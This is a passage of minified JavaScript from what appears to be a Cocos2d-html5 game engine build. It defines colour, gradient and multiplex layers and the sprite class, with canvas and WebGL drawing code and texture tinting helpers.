- b.B===b.Aa?(n=b.Uc.prototype,n.ctor=function(a,c,d){b.fc.prototype.ctor.call(this);this.s=new b.bc(b.ac,b.$b);b.Uc.prototype.ba.call(this,a,c,d)},n.rj=b.fc.prototype.rj,n.qj=b.fc.prototype.qj,n.Yb=function(){},n.Z=function(a){a=a||b.l;var c=b.view,d=this.Ba;a.fillStyle="rgba("+(0|d.r)+","+(0|d.g)+","+(0|d.b)+","+this.fb/255+")";a.fillRect(0,0,this.width*c.ka,-this.height*c.La);b.lf++},n.U=function(a){if(this.Ul){a=a||b.l;var c,d=this.u,e=d.length;if(this.Zb){var f=this.Vu;a.save();this.transform(a);
- if(this.rg){c=this.JB();c.width|=0;c.height|=0;var g=f.Xd;f.vP(c.width,c.height);var h=f.jx(),k=this.xa;if(this.ej)g.translate(0-c.x+k.x,c.height+c.y-k.y),f.T(h.x+c.x-k.x,h.y+c.y-k.y);else{var m=this.jx(),p=k.x-m.x,k=k.y-m.y;g.translate(0-c.x+p,c.height+c.y-k);f.T(h.x+c.x-p,h.y+c.y-k)}b.view.qw();if(0<e){this.Sc();for(c=0;c<e;c++)if(h=d[c],0>h.Bb)h.U(g);else break;for(this.Z(g);c<e;c++)d[c].U(g)}else this.Z(g);b.view.iw();this.rg=!1}f.U(a);this.arrivalOrder=0;a.restore()}}else b.m.prototype.U.call(this,
- a)},n.JB=function(){var a=b.rect(0,0,this.Q.width,this.Q.height),c=this.TO(),a=b.XF(a,this.TO());if(!this.u||0===this.u.length)return a;for(var d=this.u,e=0;e<d.length;e++){var f=d[e];f&&f.Zb&&(f=f.ur(c),a=b.py(a,f))}return a},n=null):(b.assert("function"===typeof b.H.NA,b.f.fd,"CCLayerWebGL.js"),b.H.NA(),delete b.H.NA);b.assert("function"===typeof b.H.Xz,b.f.fd,"CCLayerPropertyDefine.js");b.H.Xz();delete b.H.Xz;
- b.Al=b.Uc.extend({xh:null,ze:null,Lo:255,fo:255,ok:null,av:!1,so:null,ro:null,ub:"LayerGradient",ctor:function(a,c,d){b.Uc.prototype.ctor.call(this);this.xh=b.color(0,0,0,255);this.ze=b.color(0,0,0,255);this.ok=b.d(0,-1);this.fo=this.Lo=255;this.so=b.d(0,0);this.ro=b.d(0,0);b.Al.prototype.ba.call(this,a,c,d)},ba:function(a,c,d){a=a||b.color(0,0,0,255);c=c||b.color(0,0,0,255);d=d||b.d(0,-1);var e=this.xh,f=this.ze;e.r=a.r;e.g=a.g;e.b=a.b;this.Lo=a.a;f.r=c.r;f.g=c.g;f.b=c.b;this.fo=c.a;this.ok=d;this.av=
- !0;this.so=b.d(0,0);this.ro=b.d(0,0);b.Uc.prototype.ba.call(this,b.color(a.r,a.g,a.b,255));b.Al.prototype.Yb.call(this);return!0},Fd:function(a,c){b.Uc.prototype.Fd.call(this,a,c);this.Yb()},rj:function(a){b.Uc.prototype.rj.call(this,a);this.Yb()},qj:function(a){b.Uc.prototype.qj.call(this,a);this.Yb()},rx:function(){return this.Qd},Pe:function(a){this.color=a},Ne:function(a){this.ze=a;this.Yb()},mx:function(){return this.ze},F5:function(a){this.Lo=a;this.Yb()},X1:function(){return this.Lo},d5:function(a){this.fo=
- a;this.Yb()},f1:function(){return this.fo},O5:function(a){this.ok.x=a.x;this.ok.y=a.y;this.Yb()},d2:function(){return b.d(this.ok.x,this.ok.y)},Qea:function(){return this.av},Dja:function(a){this.av=a;this.Yb()},X9:null,Yb:null});b.Al.create=function(a,c,d){return new b.Al(a,c,d)};
- b.B===b.Aa?(n=b.Al.prototype,n.Z=function(a){a=a||b.l;"source"!=this.Xi&&(a.globalCompositeOperation=this.Xi);a.save();var c=this.fb/255,d=b.view.ka,e=b.view.La,f=this.width*d,g=this.height*e,d=a.createLinearGradient(this.so.x*d,this.so.y*e,this.ro.x*d,this.ro.y*e),e=this.Ba,h=this.ze;d.addColorStop(0,"rgba("+Math.round(e.r)+","+Math.round(e.g)+","+Math.round(e.b)+","+(this.Lo/255*c).toFixed(4)+")");d.addColorStop(1,"rgba("+Math.round(h.r)+","+Math.round(h.g)+","+Math.round(h.b)+","+(this.fo/255*
- c).toFixed(4)+")");a.fillStyle=d;a.fillRect(0,0,f,-g);0!=this.r$&&a.rotate(this.s$);a.restore();b.lf++},n.Yb=function(){var a=this.ok,c=0.5*this.width,d=0.5*this.height;this.so.x=c*-a.x+c;this.so.y=d*a.y-d;this.ro.x=c*a.x+c;this.ro.y=d*-a.y-d},n=null):(b.assert("function"===typeof b.H.OA,b.f.fd,"CCLayerWebGL.js"),b.H.OA(),delete b.H.OA);b.assert("function"===typeof b.H.Yz,b.f.fd,"CCLayerPropertyDefine.js");b.H.Yz();delete b.H.Yz;
- b.gu=b.fc.extend({Sl:0,de:null,ub:"LayerMultiplex",ctor:function(a){b.fc.prototype.ctor.call(this);a instanceof Array?b.gu.prototype.pO.call(this,a):b.gu.prototype.pO.call(this,Array.prototype.slice.call(arguments))},pO:function(a){0<a.length&&null==a[a.length-1]&&b.log(b.f.sS);this.de=a;this.Sl=0;this.M(this.de[this.Sl]);return!0},Gla:function(a){a>=this.de.length?b.log(b.f.tS):(this.removeChild(this.de[this.Sl],!0),this.Sl=a,this.M(this.de[a]))},Hla:function(a){a>=this.de.length?b.log(b.f.uS):(this.removeChild(this.de[this.Sl],
- !0),this.de[this.Sl]=null,this.Sl=a,this.M(this.de[a]))},H$:function(a){a?this.de.push(a):b.log(b.f.rS)}});b.gu.create=function(){return new b.gu(Array.prototype.slice.call(arguments))};b.H.PA=function(){var a=b.D.prototype;a.uD=function(a){this.Ia(!0);this.qb(a.Jh(),a.ge,a.pp());this.Md()};a.rf=function(a){this.Pa!==a&&(this.Pa=a,this.Bt())};a.xc=function(a){b.m.prototype.xc.call(this,a);this.Bt()};a.ctor=function(a,d,e){b.m.prototype.ctor.call(this);this.Pk=!1;this.Ib=b.d(0,0);this.Ah=b.d(0,0);this.s={src:b.ac,R:b.$b};this.ia=b.rect(0,0,0,0);this.Nb=new b.zb;this.ew=b.l.createBuffer();this.ma=this.Ce=!0;this.aM(a,d,e)};a.pe=function(a,d){var e=this.s;void 0===d?(e.src=a.src,e.R=
- a.R):(e.src=a,e.R=d)};a.ba=function(){if(0<arguments.length)return this.dl(arguments[0],arguments[1]);b.m.prototype.ba.call(this);this.dirty=this.oh=!1;this.Pa=!0;this.s.src=b.ac;this.s.R=b.$b;this.texture=null;this.ma=!0;this.Kb=this.Lb=!1;this.anchorY=this.anchorX=0.5;this.Ib.x=0;this.Ib.y=0;this.fi=!1;var a={r:255,g:255,b:255,a:255};this.Nb.F.t=a;this.Nb.O.t=a;this.Nb.N.t=a;this.Nb.L.t=a;this.Ce=!0;this.qb(b.rect(0,0,0,0),!1,b.size(0,0));return!0};a.sa=function(a,d,e){b.assert(0!=arguments.length,
- b.f.dU);e=e||!1;if(!b.m.prototype.ba.call(this))return!1;this.X=null;this.dirty=this.oh=!1;this.Pa=!0;this.s.src=b.ac;this.s.R=b.$b;this.Kb=this.Lb=!1;this.anchorY=this.anchorX=0.5;this.Ib.x=0;this.Ib.y=0;this.fi=!1;var f=b.color(255,255,255,255),g=this.Nb;g.F.t=f;g.O.t=f;g.N.t=f;g.L.t=f;this.ma=f=a.ic;if(!f)return this.Ac=e||!1,d&&(f=this.ia,f.x=d.x,f.y=d.y,f.width=d.width,f.height=d.height),a.Td(this.Hw,this),!0;d||(d=b.rect(0,0,a.width,a.height));a&&a.url&&(e?(f=d.x+d.height,g=d.y+d.width):(f=
- d.x+d.width,g=d.y+d.height),f>a.width&&b.error(b.f.dA,a.url),g>a.height&&b.error(b.f.cA,a.url));this.texture=a;this.qb(d,e);this.batchNode=null;return this.Ce=!0};a.Hw=function(a){if(!this.ma){this.ma=!0;var d=this.ia;d?b.PC(d)&&(d.width=a.width,d.height=a.height):d=b.rect(0,0,a.width,a.height);this.texture=a;this.qb(d,this.Ac);this.batchNode=this.X;this.Ce=!0;this.Md()}};a.qb=function(a,d,e){this.Ac=d||!1;this.Fd(e||a);this.zG(a);this.UL(a);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);var f=
- this.ia;this.Ib.x=a.x+(this.Q.width-f.width)/2;this.Ib.y=a.y+(this.Q.height-f.height)/2;if(this.X)this.dirty=!0;else{a=0+this.Ib.x;d=0+this.Ib.y;e=a+f.width;var f=d+f.height,g=this.Nb;g.F.i={x:a,y:d,z:0};g.O.i={x:e,y:d,z:0};g.N.i={x:a,y:f,z:0};g.L.i={x:e,y:f,z:0};this.Ce=!0}};a.Se=function(){if(this.dirty){var a=this.Nb,d=this.Nc;if(!this.Zb||d&&d!=this.X&&d.Pk)a.O.i=a.N.i=a.L.i=a.F.i={x:0,y:0,z:0},this.Pk=!0;else{this.Pk=!1;var e=this.xm=d&&d!=this.X?b.Dm(this.Ep(),d.xm):this.Ep(),f=this.ia,d=this.Ib.x,
- g=this.Ib.y,h=d+f.width,k=g+f.height,m=e.Ja,p=e.Ka,q=e.a,r=e.b,t=e.K,s=-e.C,e=d*q-g*s+m,f=d*r+g*t+p,u=h*q-g*s+m,g=h*r+g*t+p,v=h*q-k*s+m,h=h*r+k*t+p,m=d*q-k*s+m,d=d*r+k*t+p,k=this.os;b.jA||(e|=0,f|=0,u|=0,g|=0,v|=0,h|=0,m|=0,d|=0);a.F.i={x:e,y:f,z:k};a.O.i={x:u,y:g,z:k};a.N.i={x:m,y:d,z:k};a.L.i={x:v,y:h,z:k}}this.textureAtlas.Wy(a,this.atlasIndex);this.dirty=this.oh=!1}this.fi&&this.qg(this.u,b.m.wf.Se);b.bk&&(a=[b.d(this.Nb.F.i.x,this.Nb.F.i.y),b.d(this.Nb.O.i.x,this.Nb.O.i.y),b.d(this.Nb.L.i.x,
- this.Nb.L.i.y),b.d(this.Nb.N.i.x,this.Nb.N.i.y)],b.ye.Vd(a,4,!0))};a.M=function(a,d,e){b.assert(a,b.f.VT);null==d&&(d=a.Bb);null==e&&(e=a.tag);if(this.X){if(!(a instanceof b.D)){b.log(b.f.TT);return}a.texture.Sd!==this.textureAtlas.texture.Sd&&b.log(b.f.UT);this.X.appendChild(a);this.Rd||this.lD()}b.m.prototype.M.call(this,a,d,e);this.fi=!0};a.Ta=function(a){b.m.prototype.Ta.call(this,a);this.Bt()};a.nb=function(a){b.m.prototype.nb.call(this,a);this.Bt()};a.Hc=function(a){b.m.prototype.Hc.call(this,
- a);this.Bt()};a.ql=function(a){var d=this;"string"==typeof a&&(a=b.rl.Cj(a),b.assert(a,b.f.mU));d.Ia(!0);var e=a.Um();d.Ah.x=e.x;d.Ah.y=e.y;e=a.Ca();a.ma||(d.ma=!1,a.Td(function(a){d.ma=!0;var c=a.Ca();c!=d.I&&(d.texture=c);d.qb(a.Jh(),a.ge,a.pp());d.Md()},d));e!=d.I&&(d.texture=e);d.Ac=a.ge;d.qb(a.Jh(),d.Ac,a.pp())};a.zO=function(a){return b.lP(a.Jh(),this.ia)&&a.Ca().getName()==this.I.getName()&&b.SF(a.Um(),this.Ah)};a.ol=function(a){if(this.X=a)this.xm={a:1,b:0,C:0,K:1,Ja:0,Ka:0},this.textureAtlas=
- this.X.textureAtlas;else{this.atlasIndex=b.D.zz;this.textureAtlas=null;this.dirty=this.oh=!1;a=this.Ib.x;var d=this.Ib.y,e=a+this.ia.width,f=d+this.ia.height,g=this.Nb;g.F.i={x:a,y:d,z:0};g.O.i={x:e,y:d,z:0};g.N.i={x:a,y:f,z:0};g.L.i={x:e,y:f,z:0};this.Ce=!0}};a.Ya=function(a){a&&"string"===typeof a?(a=b.Ea.Dc(a),this.Ya(a),a=a.Sf(),this.qb(b.rect(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.f.oU),this.X&&this.X.texture!=a?b.log(b.f.nU):(this.shaderProgram=a?b.Hd.nc(b.Vi):b.Hd.nc(b.qu),
- this.X||this.I==a||(this.I=a,this.Nf())))};a.Z=function(){if(this.ma){var a=b.l,d=this.I;d?d.ic&&(this.Eb.Ic(),this.Eb.Re(),b.Kg(this.s.src,this.s.R),b.jF(0,d),b.Ec(b.Jl),a.bindBuffer(a.ARRAY_BUFFER,this.ew),this.Ce&&(a.bufferData(a.ARRAY_BUFFER,this.Nb.Vw,a.DYNAMIC_DRAW),this.Ce=!1),a.vertexAttribPointer(0,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(1,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(2,2,a.FLOAT,!1,24,16),a.drawArrays(a.TRIANGLE_STRIP,0,4)):(this.Eb.Ic(),this.Eb.Re(),b.Kg(this.s.src,
- this.s.R),b.oe(null),b.Ec(b.Kd|b.Gu),a.bindBuffer(a.ARRAY_BUFFER,this.ew),this.Ce&&(b.l.bufferData(b.l.ARRAY_BUFFER,this.Nb.Vw,b.l.STATIC_DRAW),this.Ce=!1),a.vertexAttribPointer(b.ob,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,4));b.lf++;if(0!==b.bk||this.pD)1===b.bk||this.pD?(a=this.Nb,a=[b.d(a.N.i.x,a.N.i.y),b.d(a.F.i.x,a.F.i.y),b.d(a.O.i.x,a.O.i.y),b.d(a.L.i.x,a.L.i.y)],b.ye.Vd(a,4,!0)):2===b.bk&&(a=this.$N(),d=this.E1(),a=[b.d(d.x,
- d.y),b.d(d.x+a.width,d.y),b.d(d.x+a.width,d.y+a.height),b.d(d.x,d.y+a.height)],b.ye.Vd(a,4,!0))}};delete a};b.H.Zz=function(){var a=b.D.prototype;b.j(a,"opacityModifyRGB",a.Uf,a.rf);b.j(a,"opacity",a.Ig,a.Ta);b.j(a,"color",a.Hg,a.nb);b.j(a,"flippedX",a.G2,a.Ay);b.j(a,"flippedY",a.H2,a.mG);b.j(a,"offsetX",a.dX);b.j(a,"offsetY",a.eX);b.j(a,"texture",a.Ca,a.Ya);b.j(a,"textureRectRotated",a.O2);b.j(a,"batchNode",a.SE,a.ol);b.j(a,"quad",a.L1)};b.Rm=function(a,c,d,e){e=e||b.Rb("canvas");d=d||b.rect(0,0,a.width,a.height);var f=e.getContext("2d");e.width!=d.width||e.height!=d.height?(e.width=d.width,e.height=d.height):f.globalCompositeOperation="source-over";f.fillStyle="rgb("+(0|c.r)+","+(0|c.g)+","+(0|c.b)+")";f.fillRect(0,0,d.width,d.height);f.globalCompositeOperation="multiply";f.drawImage(a,d.x,d.y,d.width,d.height,0,0,d.width,d.height);f.globalCompositeOperation="destination-atop";f.drawImage(a,d.x,d.y,d.width,d.height,0,0,d.width,d.height);
- return e};
- b.Qm=function(a,c,d,e,f){e||(e=b.rect(0,0,a.width,a.height));a=d.r/255;var g=d.g/255;d=d.b/255;var h=Math.min(e.width,c[0].width),k=Math.min(e.height,c[0].height),m;f?(m=f.getContext("2d"),m.clearRect(0,0,h,k)):(f=b.Rb("canvas"),f.width=h,f.height=k,m=f.getContext("2d"));m.save();m.globalCompositeOperation="lighter";var p=m.globalAlpha;0<a&&(m.globalAlpha=a*p,m.drawImage(c[0],e.x,e.y,h,k,0,0,h,k));0<g&&(m.globalAlpha=g*p,m.drawImage(c[1],e.x,e.y,h,k,0,0,h,k));0<d&&(m.globalAlpha=d*p,m.drawImage(c[2],e.x,
- e.y,h,k,0,0,h,k));1>a+g+d&&(m.globalAlpha=p,m.drawImage(c[3],e.x,e.y,h,k,0,0,h,k));m.restore();return f};
- b.kp=function(a){function c(){var c=b.kp,e=a.width,h=a.height;d[0].width=e;d[0].height=h;d[1].width=e;d[1].height=h;d[2].width=e;d[2].height=h;d[3].width=e;d[3].height=h;c.canvas.width=e;c.canvas.height=h;var k=c.canvas.getContext("2d");k.drawImage(a,0,0);c.HG.width=e;c.HG.height=h;for(var k=k.getImageData(0,0,e,h).data,m=0;4>m;m++){var p=d[m].getContext("2d");p.getImageData(0,0,e,h).data;c.oQ.drawImage(a,0,0);for(var q=c.oQ.getImageData(0,0,e,h),r=q.data,t=0;t<k.length;t+=4)r[t]=0===m?k[t]:0,r[t+
- 1]=1===m?k[t+1]:0,r[t+2]=2===m?k[t+2]:0,r[t+3]=k[t+3];p.putImageData(q,0,0)}a.onload=null}if(a.PM)return a.PM;var d=[b.Rb("canvas"),b.Rb("canvas"),b.Rb("canvas"),b.Rb("canvas")];try{c()}catch(e){a.onload=c}return a.PM=d};b.kp.canvas=b.Rb("canvas");b.kp.HG=b.Rb("canvas");b.kp.oQ=b.kp.HG.getContext("2d");
- b.EE=function(a,c){if(!a)return null;if(!c)return a;var d=b.Rb("canvas");d.width=c.width;d.height=c.height;var e=d.getContext("2d");e.translate(d.width/2,d.height/2);e.rotate(-1.5707963267948966);e.drawImage(a,c.x,c.y,c.height,c.width,-c.height/2,-c.width/2,c.height,c.width);return d};b.vK=function(a){return a?a.src==b.SRC_ALPHA&&a.R==b.ONE||a.src==b.ONE&&a.R==b.ONE?"lighter":a.src==b.ZERO&&a.R==b.SRC_ALPHA?"destination-in":a.src==b.ZERO&&a.R==b.ONE_MINUS_SRC_ALPHA?"destination-out":"source":"source"};
- b.D=b.m.extend({dirty:!1,atlasIndex:0,textureAtlas:null,X:null,oh:null,fi:null,Pk:!1,xm:null,s:null,I:null,ia:null,Ac:!1,Ib:null,Ah:null,Pa:!1,Kb:!1,Lb:!1,ma:!1,gb:null,Pv:null,ub:"Sprite",jL:b.color.WHITE,wt:function(){return this.ma},Td:function(a,c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},Md:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Eh.call(e.Rf,this)}a.length=0}},zF:function(){return this.dirty},HP:function(a){this.dirty=a},O2:function(){return this.Ac},
- mp:function(){return this.atlasIndex},gG:function(a){this.atlasIndex=a},$N:function(){return b.rect(this.ia.x,this.ia.y,this.ia.width,this.ia.height)},gF:function(){return this.textureAtlas},vG:function(a){this.textureAtlas=a},E1:function(){return b.d(this.Ib)},dX:function(){return this.Ib.x},eX:function(){return this.Ib.y},Gh:function(){return this.s},Ci:function(a){b.assert(a,b.f.aU);a.ma||(this.ma=!1,a.Td(this.uD,this));var c=b.B===b.Aa?!1:a.ge,c=this.sa(a.Ca(),a.Jh(),c);this.ql(a);return c},uD:null,
- Hea:function(a){b.assert(a,b.f.bU);var c=b.rl.Cj(a);b.assert(c,a+b.f.cU);return this.Ci(c)},Xla:function(a){this.textureAtlas=a.textureAtlas;this.X=a},zG:function(a){this.ia.x=a.x;this.ia.y=a.y;this.ia.width=a.width;this.ia.height=a.height},Sc:function(){if(this.Rd){var a=this.u,c=a.length,d,e,f;for(d=1;d<c;d++){f=a[d];for(e=d-1;0<=e;){if(f.Bb<a[e].Bb)a[e+1]=a[e];else if(f.Bb===a[e].Bb&&f.arrivalOrder<a[e].arrivalOrder)a[e+1]=a[e];else break;e--}a[e+1]=f}this.X&&this.qg(a,b.m.wf.Sc);this.Rd=!1}},
- Lp:function(a,c){b.assert(a,b.f.hU);-1===this.u.indexOf(a)?b.log(b.f.gU):c!==a.zIndex&&(this.X&&!this.Rd&&(this.lD(),this.X.sP(!0)),b.m.prototype.Lp.call(this,a,c))},removeChild:function(a,c){this.X&&this.X.cn(a);b.m.prototype.removeChild.call(this,a,c)},Tj:function(a){b.m.prototype.Tj.call(this,a);this.kG(!0)},Xf:function(a){var c=this.u,d=this.X;if(d&&null!=c)for(var e=0,f=c.length;e<f;e++)d.cn(c[e]);b.m.prototype.Xf.call(this,a);this.fi=!1},kG:function(a){this.dirty=this.oh=a;a=this.u;for(var c,
- d=a?a.length:0,e=0;e<d;e++)c=a[e],c instanceof b.D&&c.kG(!0)},Ia:function(a){b.m.prototype.Ia.call(this);a||!this.X||this.oh||(this.fi?this.kG(!0):this.dirty=this.oh=!0)},Bx:function(a){this.X?b.log(b.f.ZT):b.m.prototype.Bx.call(this,a)},Ay:function(a){this.Kb!=a&&(this.Kb=a,this.qb(this.ia,this.Ac,this.Q),this.Ia(!0))},mG:function(a){this.Lb!=a&&(this.Lb=a,this.qb(this.ia,this.Ac,this.Q),this.Ia(!0))},G2:function(){return this.Kb},H2:function(){return this.Lb},rf:null,Uf:function(){return this.Pa},
- xc:null,Nja:function(a,c){b.assert(a,b.f.lU);var d=b.Uw.zN(a);d?(d=d.Od[c])?this.ql(d.Cj()):b.log(b.f.kU):b.log(b.f.jU)},SE:function(){return this.X},lD:function(){if(!this.Rd){this.Rd=!0;for(var a=this.Nc;a&&a!=this.X;)a.lD(),a=a.parent}},Ca:function(){return this.I},Nb:null,ew:null,Ce:!1,dr:!1,Xi:"source",jc:null,sm:null,xB:null,ctor:null,aM:function(a,c,d){if(void 0===a)b.D.prototype.ba.call(this);else if("string"===typeof a)"#"===a[0]?(a=b.rl.Cj(a.substr(1,a.length-1)),this.Ci(a)):b.D.prototype.ba.call(this,
- a,c);else if("object"===typeof a)if(a instanceof b.da)this.sa(a,c,d);else if(a instanceof b.ue)this.Ci(a);else if(a instanceof HTMLImageElement||a instanceof HTMLCanvasElement)c=new b.da,c.Rc(a),c.sb(),this.sa(c)},L1:function(){return this.Nb},pe:null,ba:null,dl:function(a,c){b.assert(a,b.f.$T);var d=b.Ea.cl(a);if(d){if(!c){var e=d.Sf();c=b.rect(0,0,e.width,e.height)}return this.sa(d,c)}d=b.Ea.Dc(a);return this.sa(d,c||b.rect(0,0,d.Q.width,d.Q.height))},sa:null,Hw:null,qb:null,Se:null,M:null,Bt:function(){var a=
- this.Ba,c=this.fb,a={r:a.r,g:a.g,b:a.b,a:c};this.Pa&&(a.r*=c/255,a.g*=c/255,a.b*=c/255);c=this.Nb;c.F.t=a;c.O.t=a;c.N.t=a;c.L.t=a;this.X&&(this.atlasIndex!=b.D.zz?this.textureAtlas.Wy(c,this.atlasIndex):this.dirty=!0);this.Ce=!0},Ta:null,nb:null,Hc:null,ql:null,a5:function(a){b.log(b.f.iU);this.ql(a)},zO:null,b0:function(){return b.ue.create(this.I,b.mt(this.ia),this.Ac,b.e4(this.Ah),b.Y5(this.Q))},ol:null,Ya:null,Nf:function(){this.X?b.log(b.f.ST):this.I&&this.I.Ai()?(this.s.src=b.ac,this.s.R=b.$b,
- this.opacityModifyRGB=!0):(this.s.src=b.SRC_ALPHA,this.s.R=b.ONE_MINUS_SRC_ALPHA,this.opacityModifyRGB=!1)},Zd:function(){var a,c=this.I,d=this.sm;c&&d.ln&&this.jc&&(a=c.Oa)&&(this.dr=!0,a instanceof HTMLCanvasElement&&!this.Ac&&!this.Pv&&this.jc.Oa!=a?b.Rm(this.jc.Oa,this.Ba,d,a):(a=b.Rm(this.jc.Oa,this.Ba,d),c=new b.da,c.Rc(a),c.sb(),this.texture=c))},UL:function(a){a=b.mt(a);var c=this.X?this.textureAtlas.texture:this.I;if(c){var d=c.pixelsWidth,e=c.pixelsHeight,f,g=this.Nb;this.Ac?(b.wn?(c=(2*
- a.x+1)/(2*d),d=c+(2*a.height-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.width-2)/(2*e)):(c=a.x/d,d=(a.x+a.height)/d,f=a.y/e,a=(a.y+a.width)/e),this.Kb&&(e=f,f=a,a=e),this.Lb&&(e=c,c=d,d=e),g.F.n.fa=c,g.F.n.ga=f,g.O.n.fa=c,g.O.n.ga=a,g.N.n.fa=d,g.N.n.ga=f,g.L.n.fa=d,g.L.n.ga=a):(b.wn?(c=(2*a.x+1)/(2*d),d=c+(2*a.width-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.height-2)/(2*e)):(c=a.x/d,d=(a.x+a.width)/d,f=a.y/e,a=(a.y+a.height)/e),this.Kb&&(e=c,c=d,d=e),this.Lb&&(e=f,f=a,a=e),g.F.n.fa=c,g.F.n.ga=a,g.O.n.fa=d,g.O.n.ga=
- a,g.N.n.fa=c,g.N.n.ga=f,g.L.n.fa=d,g.L.n.ga=f);this.Ce=!0}},Z:null});b.D.create=function(a,c,d){return new b.D(a,c,d)};b.D.BE=b.D.create;b.D.Caa=b.D.create;b.D.Baa=b.D.create;b.D.zz=-1;
- b.B===b.Aa?(n=b.D.prototype,n.uD=function(a){this.Ia(!0);this.qb(a.Jh(),a.ge,a.pp());a=this.color;255===a.r&&255===a.g&&255===a.b||this.Zd();this.Md()},n.rf=function(a){this.Pa!==a&&(this.Pa=a,this.Ia(!0))},n.xc=function(a){b.m.prototype.xc.call(this,a);this.ri()},n.ctor=function(a,c,d){b.m.prototype.ctor.call(this);this.Pk=!1;this.Ib=b.d(0,0);this.Ah=b.d(0,0);this.s={src:b.ac,R:b.$b};this.ia=b.rect(0,0,0,0);this.Pv=!1;this.ma=!0;this.sm={x:0,y:0,width:0,height:0,ln:!1};this.xB=b.size(0,0);this.aM(a,
- c,d)},n.pe=function(a,c){var d=this.s;void 0===c?(d.src=a.src,d.R=a.R):(d.src=a,d.R=c);b.B===b.Aa&&(this.Xi=b.vK(d))},n.ba=function(){if(0<arguments.length)return this.dl(arguments[0],arguments[1]);b.m.prototype.ba.call(this);this.dirty=this.oh=!1;this.Pa=!0;this.s.src=b.ac;this.s.R=b.$b;this.texture=null;this.ma=!0;this.Kb=this.Lb=!1;this.anchorY=this.anchorX=0.5;this.Ib.x=0;this.Ib.y=0;this.fi=!1;this.qb(b.rect(0,0,0,0),!1,b.size(0,0));return!0},n.sa=function(a,c,d){b.assert(0!=arguments.length,
- b.f.bR);if((d=d||!1)&&a.ic){var e=a.Oa,e=b.EE(e,c),f=new b.da;f.Rc(e);f.sb();a=f;this.ia=b.rect(0,0,c.width,c.height)}if(!b.m.prototype.ba.call(this))return!1;this.X=null;this.dirty=this.oh=!1;this.Pa=!0;this.s.src=b.ac;this.s.R=b.$b;this.Kb=this.Lb=!1;this.anchorY=this.anchorX=0.5;this.Ib.x=0;this.Ib.y=0;this.fi=!1;this.ma=e=a.ic;if(!e)return this.Ac=d,c&&(this.ia.x=c.x,this.ia.y=c.y,this.ia.width=c.width,this.ia.height=c.height),this.texture&&this.texture.qP(this),a.Td(this.Hw,this),this.texture=
- a,!0;c||(c=b.rect(0,0,a.width,a.height));a&&a.url&&(e=c.y+c.height,c.x+c.width>a.width&&b.error(b.f.dA,a.url),e>a.height&&b.error(b.f.cA,a.url));this.texture=this.jc=a;this.qb(c,d);this.batchNode=null;return!0},n.Hw=function(a){if(!this.ma){this.ma=!0;var c=this.ia;c?b.PC(c)&&(c.width=a.width,c.height=a.height):c=b.rect(0,0,a.width,a.height);this.texture=this.jc=a;this.qb(c,this.Ac);a=this.Ba;255==a.r&&255==a.g&&255==a.b||this.Zd();this.batchNode=this.X;this.Md()}},n.qb=function(a,c,d){this.Ac=c||
- !1;this.Fd(d||a);this.zG(a);c=this.sm;d=b.pb();c.x=0|a.x*d;c.y=0|a.y*d;c.width=0|a.width*d;c.height=0|a.height*d;c.ln=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);this.Ib.x=a.x+(this.Q.width-this.ia.width)/2;this.Ib.y=a.y+(this.Q.height-this.ia.height)/2;this.X&&(this.dirty=!0)},n.Se=function(){if(this.dirty){var a=this.Nc;!this.Zb||a&&a!=this.X&&a.Pk?this.Pk=!0:(this.Pk=!1,this.xm=a&&a!=this.X?b.Dm(this.Ep(),a.xm):this.Ep());this.dirty=this.oh=!1}this.fi&&
- this.qg(this.u,b.m.wf.Se)},n.M=function(a,c,d){b.assert(a,b.f.$Q);null==c&&(c=a.Bb);null==d&&(d=a.tag);b.m.prototype.M.call(this,a,c,d);this.fi=!0},n.Ta=function(a){b.m.prototype.Ta.call(this,a);this.ri()},n.nb=function(a){var c=this.color;this.jL=c;c.r===a.r&&c.g===a.g&&c.b===a.b||b.m.prototype.nb.call(this,a)},n.Hc=function(a){b.m.prototype.Hc.call(this,a);a=this.jL;var c=this.Ba;if(a.r!==c.r||a.g!==c.g||a.b!==c.b)this.Zd(),this.ri()},n.ql=function(a){var c=this;"string"==typeof a&&(a=b.rl.Cj(a),
- b.assert(a,b.f.eR));c.Ia(!0);var d=a.Um();c.Ah.x=d.x;c.Ah.y=d.y;c.Ac=a.ge;var d=a.Ca(),e=a.ma;e||(c.ma=!1,a.Td(function(a){c.ma=!0;var d=a.Ca();d!=c.I&&(c.texture=d);c.qb(a.Jh(),a.ge,a.pp());c.Md()},c));d!=c.I&&(c.texture=d);c.Ac&&(c.jc=d);c.qb(a.Jh(),c.Ac,a.pp());c.dr=!1;e&&(a=c.color,255===a.r&&255===a.g&&255===a.b||c.Zd())},n.zO=function(a){return a.Ca()!=this.I?!1:b.lP(a.Jh(),this.ia)},n.ol=function(a){(this.X=a)?(this.xm={a:1,b:0,C:0,K:1,Ja:0,Ka:0},this.textureAtlas=this.X.textureAtlas):(this.atlasIndex=
- b.D.zz,this.textureAtlas=null,this.dirty=this.oh=!1)},n.Ya=function(a){a&&"string"===typeof a?(a=b.Ea.Dc(a),this.Ya(a),a=a.Sf(),this.qb(b.rect(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.f.fR),this.I!=a&&(a&&a.Oa instanceof HTMLImageElement&&(this.jc=a),this.I=a))},n.Z=function(a){if(this.ma){a=a||b.l;"source"!=this.Xi&&(a.globalCompositeOperation=this.Xi);var c=b.view.ka,d=b.view.La;a.globalAlpha=this.fb/255;var e=this.ia,f=this.Q,g=this.Ib,h=this.xB,k=0|g.x,m=-g.y-e.height,p=this.sm;
